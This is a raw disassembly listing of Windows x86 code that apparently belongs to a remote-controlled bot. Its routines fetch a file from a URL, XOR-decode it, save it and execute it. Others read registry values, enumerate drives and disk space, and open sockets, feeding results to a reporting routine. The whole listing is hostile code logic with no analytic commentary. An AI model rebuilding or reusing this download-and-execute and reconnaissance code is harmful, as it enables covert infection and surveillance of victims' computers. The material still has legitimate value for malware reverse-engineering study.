		cmp	eax, [ebp+var_8]
		jge	short loc_413D15
		cmp	byte ptr [esi],	0
		jz	short loc_413D04
		cmp	[ebp+var_98], 0
		jz	short loc_413CEA
		cmp	[ebp+var_4], 0
		jnz	short loc_413CEA
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_41515B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413D04


loc_413CEA:				; CODE XREF: sub_413C3F+90j
					; sub_413C3F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413D04:				; CODE XREF: sub_413C3F+87j
					; sub_413C3F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D1424
		jl	short loc_413CBB


loc_413D15:				; CODE XREF: sub_413C3F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_4374B4
		push	eax
		call	sub_417D96
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_413D4F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413D4F:				; CODE XREF: sub_413C3F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_413B5E
		push	[ebp+var_18]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_413C3F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D6E	proc near		; CODE XREF: sub_401AC7+2140p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4374F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_413F20
		push	esi
		push	edi
		mov	eax, offset off_4374F4
		mov	esi, offset dword_437500
		mov	edi, offset dword_4386F8


loc_413D9E:				; CODE XREF: sub_413D6E+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4C986C	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4C9710	; RegQueryValueExA
		test	eax, eax
		jnz	loc_413F06
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_413ECA
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42C1FC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_417A18
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_413F06
		push	eax


loc_413E17:				; CODE XREF: sub_413D6E+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41805F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413EBF
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E44
		push	[ebp+var_8]
		jmp	short loc_413E17
; ---------------------------------------------------------------------------


loc_413E44:				; CODE XREF: sub_413D6E+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E83
		lea	eax, [ebp+var_70]
		push	offset asc_4386F4 ; "="
		push	eax
		call	sub_4185F4
		push	offset asc_4386F4 ; "="
		push	ebx
		call	sub_4185F4
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_413E9A
; ---------------------------------------------------------------------------


loc_413E83:				; CODE XREF: sub_413D6E+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_413E9A:				; CODE XREF: sub_413D6E+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413B5E
		add	esp, 18h


loc_413EBF:				; CODE XREF: sub_413D6E+B9j
		push	[ebp+var_8]
		call	sub_41776B
		pop	ecx
		jmp	short loc_413F06
; ---------------------------------------------------------------------------


loc_413ECA:				; CODE XREF: sub_413D6E+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_413F06:				; CODE XREF: sub_413D6E+60j
					; sub_413D6E+A2j ...
		push	[ebp+var_4]
		call	dword_4C97DC	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_413D9E
		pop	edi
		pop	esi


loc_413F20:				; CODE XREF: sub_413D6E+19j
		pop	ebx
		leave
		retn
sub_413D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F23	proc near		; DATA XREF: sub_401AC7+59A2o
					; sub_401AC7+60C5o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4C97B4
		call	dword_4C9714	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4143AF
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_413FEA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_4388AC
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_413FCD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_413FCD:				; CODE XREF: sub_413F23+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		push	[ebp+var_48]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_413FEA:				; CODE XREF: sub_413F23+68j
		xor	edi, edi
		call	dword_4230A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417A2B
		pop	ecx
		mov	[ebp+var_1C], eax


loc_414004:				; CODE XREF: sub_413F23+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4C971C	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_414048
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_414415
		pop	ecx
		pop	ecx


loc_414048:				; CODE XREF: sub_413F23+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4230E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_414086
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_414070
		mov	eax, [ebp+arg_0]


loc_414070:				; CODE XREF: sub_413F23+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_418810
		add	esp, 0Ch


loc_414086:				; CODE XREF: sub_413F23+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_414093
		cmp	edi, [ebp+var_3C]
		ja	short loc_4140DD


loc_414093:				; CODE XREF: sub_413F23+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_4140AD
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438884
		jmp	short loc_4140BD
; ---------------------------------------------------------------------------


loc_4140AD:				; CODE XREF: sub_413F23+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_43885C


loc_4140BD:				; CODE XREF: sub_413F23+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_414004


loc_4140DD:				; CODE XREF: sub_413F23+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_414132
		cmp	edi, [ebp+var_3C]
		jz	short loc_414132
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_438830
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_414132:				; CODE XREF: sub_413F23+1C4j
					; sub_413F23+1C9j
		call	dword_4230A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_423068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_4177C1
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_4141BC
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_4141BC
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_438808
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_4141BC:				; CODE XREF: sub_413F23+241j
					; sub_413F23+253j
		cmp	[ebp+var_14], esi
		jz	loc_4143FC
		cmp	[ebp+var_44], 1
		jz	loc_4142B7
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423698
		fstp	[esp+590h+var_590]
		push	offset unk_4387D0
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414237
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_414237:				; CODE XREF: sub_413F23+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4143FC
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4C9778
		cmp	[ebp+var_30], esi
		jnz	loc_4143FC
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_4387B4
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 24h
		jmp	loc_4143FC
; ---------------------------------------------------------------------------


loc_4142B7:				; CODE XREF: sub_413F23+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423698
		fstp	[esp+590h+var_590]
		push	offset unk_438770
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41431F
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_41431F:				; CODE XREF: sub_413F23+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43B9B8
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_42306C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4143A1
		call	dword_4C9764	; WSACleanup
		call	sub_41542E
		push	esi
		call	dword_423064	; ExitProcess


loc_4143A1:				; CODE XREF: sub_413F23+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_43873C
		jmp	short loc_4143BB
; ---------------------------------------------------------------------------


loc_4143AF:				; CODE XREF: sub_413F23+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438710


loc_4143BB:				; CODE XREF: sub_413F23+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4143EF
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_4143EF:				; CODE XREF: sub_413F23+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_4143FC:				; CODE XREF: sub_413F23+29Cj
					; sub_413F23+325j ...
		push	[ebp+var_18]
		call	dword_4C9830	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
sub_413F23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414415	proc near		; CODE XREF: sub_413F23+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_414431


loc_414421:				; CODE XREF: sub_414415+1Aj
		mov	dl, byte_425090
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_414421

locret_414431:				; CODE XREF: sub_414415+Aj
		retn
sub_414415	endp


; =============== S U B	R O U T	I N E =======================================



sub_414432	proc near		; CODE XREF: sub_401AC7+4F6Ap
					; sub_401AC7+509Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197B4
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_414432	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41444C	proc near		; CODE XREF: sub_40EA69+45Dp
					; sub_40EA69+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D1428
		push	0
		push	edi
		call	sub_417AA0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_414471:				; CODE XREF: sub_41444C+5Bj
					; sub_41444C+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_419870
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419800
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4144AF
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_414471
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_414471
; ---------------------------------------------------------------------------


loc_4144AF:				; CODE XREF: sub_41444C+4Bj
		dec	esi
		mov	eax, edi


loc_4144B2:				; CODE XREF: sub_41444C+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4144C1
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4144B2
; ---------------------------------------------------------------------------


loc_4144C1:				; CODE XREF: sub_41444C+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41444C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144CB	proc near		; CODE XREF: sub_414677+51p
					; sub_414677+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C985C	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_41450E
		dec	eax
		jz	short loc_414508
		dec	eax
		dec	eax
		jz	short loc_414502
		dec	eax
		jz	short loc_4144FC
		dec	eax
		jz	short loc_4144F6
		dec	eax
		jz	short loc_4144F0
		mov	eax, offset word_438900
		retn
; ---------------------------------------------------------------------------


loc_4144F0:				; CODE XREF: sub_4144CB+1Dj
		mov	eax, offset off_4388FC
		retn
; ---------------------------------------------------------------------------


loc_4144F6:				; CODE XREF: sub_4144CB+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4144FC:				; CODE XREF: sub_4144CB+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_414502:				; CODE XREF: sub_4144CB+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_414508:				; CODE XREF: sub_4144CB+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_41450E:				; CODE XREF: sub_4144CB+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4144CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414514	proc near		; CODE XREF: sub_41455C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C9700
		test	eax, eax
		jz	short loc_414549
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_414549:				; CODE XREF: sub_414514+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_414514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41455C	proc near		; CODE XREF: sub_414677+17p
					; sub_417368+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_414514
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		pop	ebx
		jmp	short loc_414663
; ---------------------------------------------------------------------------


loc_414634:				; CODE XREF: sub_41455C+2Cj
					; sub_41455C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 18h


loc_414663:				; CODE XREF: sub_41455C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41455C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414677	proc near		; CODE XREF: sub_414749+17p
					; sub_414749+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41455C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_418570
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4146EA
		push	ebx
		push	ebx
		call	sub_4144CB
		pop	ecx
		push	eax
		push	offset unk_438950
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	short loc_41471E
; ---------------------------------------------------------------------------


loc_4146EA:				; CODE XREF: sub_414677+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4144CB
		pop	ecx
		push	eax
		push	offset unk_438914
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 20h


loc_41471E:				; CODE XREF: sub_414677+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_413B5E
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414749	proc near		; CODE XREF: sub_401AC7+20A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_41476A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414677
		add	esp, 10h
		jmp	short loc_4147CB
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414749+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4C9774	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_417A2B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4C9774	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4147C2


loc_41478E:				; CODE XREF: sub_414749+77j
		push	offset aA_3	; "A:\\"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4147B1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414677
		add	esp, 10h


loc_4147B1:				; CODE XREF: sub_414749+54j
		push	esi
		call	sub_4176F0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_41478E


loc_4147C2:				; CODE XREF: sub_414749+43j
		push	edi
		call	sub_4177C1
		pop	ecx
		pop	edi
		pop	esi


loc_4147CB:				; CODE XREF: sub_414749+1Fj
		pop	ebx
		pop	ebp
		retn
sub_414749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147CE	proc near		; CODE XREF: sub_414992+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C987C	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41484A
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
